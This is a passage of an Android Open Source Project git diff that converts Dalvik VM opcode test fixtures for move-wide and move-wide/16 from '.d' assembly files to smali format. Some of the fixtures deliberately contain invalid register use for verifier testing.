-.limit regs 16
-       const-wide v0, 1234
-       const-wide v14, 567989
-
-       move-wide v0, v14
-       
-       const-wide v4, 567989
-
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       cmp-long v10, v14, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali
new file mode 100644
index 0000000..9e09123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_1.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const-wide v0, 1234
+       const-wide v14, 567989
+
+       move-wide v0, v14
+       
+       const-wide v4, 567989
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v14, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d
deleted file mode 100644
index 22e992b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_2.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-
-       move-wide v0, v9
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali
new file mode 100644
index 0000000..67dd23c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_2.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move-wide v0, v9
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d
deleted file mode 100644
index b8e3db0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_3.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 9
-       const-wide v0, 0
-
-       move v9, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali
new file mode 100644
index 0000000..da6c79d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_3.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const-wide v0, 0
+
+       move v9, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d
deleted file mode 100644
index 3eb95df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_4.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       move-wide v1, v8
-
-       const v1, 0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali
new file mode 100644
index 0000000..4e98b22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_4.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move-wide v1, v8
+
+       const v1, 0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d
deleted file mode 100644
index 92e67dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_5.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 9
-       const v0, 124
-
-       move-wide v5, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali
new file mode 100644
index 0000000..9ceffbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_5.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 9
+       const v0, 124
+
+       move-wide v5, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d
deleted file mode 100644
index 4fecf88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_6.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 9
-       const-wide v0, 1233746384323
-
-       move-wide v1, v0
-       
-       const-wide v4, 1233746384323
-       cmp-long v8, v1, v4
-       
-       return v8
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali
new file mode 100644
index 0000000..6fcc70c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_6.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide/d/T_move_wide_6;
+.super Ljava/lang/Object;
+.source "T_move_wide_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 9
+
+    const-wide v0, 0x11f4103d5c3L
+
+    move-wide v1, v0
+
+    const-wide v4, 0x11f4103d5c3L
+
+    cmp-long v8, v1, v4
+
+    return v8
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d
deleted file mode 100644
index 9324fef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_7.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 9
-       const-wide v0, 124
-       const-wide v5, 0
-
-       move-wide v1, v5
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali
new file mode 100644
index 0000000..b884a2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_7.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 9
+       const-wide v0, 124
+       const-wide v5, 0
+
+       move-wide v1, v5
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d
deleted file mode 100644
index 282edb4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.d
+++ /dev/null
@@ -1,55 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_1.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const-wide v0, 123
-       const-wide v2, 5678
-       
-       move-wide/16 v4000, v0
-       move-wide/16 v4002, v2
-       
-       move-wide/16 v4000, v4002
-       
-       const-wide v4, 5678
-       
-       move-wide/16 v0, v4000
-       move-wide/16 v2, v4002
-
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       cmp-long v10, v2, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali
new file mode 100644
index 0000000..25dc019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_1.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide v0, 123
+       const-wide v2, 5678
+       
+       move-wide/16 v4000, v0
+       move-wide/16 v4002, v2
+       
+       move-wide/16 v4000, v4002
+       
+       const-wide v4, 5678
+       
+       move-wide/16 v0, v4000
+       move-wide/16 v2, v4002
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d
deleted file mode 100644
index 57c7c93..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_2.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const-wide/16 v2, 5678
-       
-       move-wide/16 v4001, v2
-       move-wide/16 v0, v4001
-       
-       const-wide v4, 5678
-
-       cmp-long v10, v2, v4
-       if-nez v10, Label0
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali
new file mode 100644
index 0000000..067b522
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_2.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_2.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       const-wide/16 v2, 5678
+       
+       move-wide/16 v4001, v2
+       move-wide/16 v0, v4001
+       
+       const-wide v4, 5678
+
+       cmp-long v10, v2, v4
+       if-nez v10, :Label0
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d
deleted file mode 100644
index e1e0ac7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_3.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       move-wide/16 v0, v5000
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali
new file mode 100644
index 0000000..4848563
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/16 v0, v5000
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d
deleted file mode 100644
index 3f12810..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_4.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v0, 0
-       move-wide/16 v5000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali
new file mode 100644
index 0000000..3ee4e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const-wide v0, 0
+       move-wide/16 v5000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d
deleted file mode 100644
index 7e61df4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_5.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-wide/16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali
new file mode 100644
index 0000000..9cfbbf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
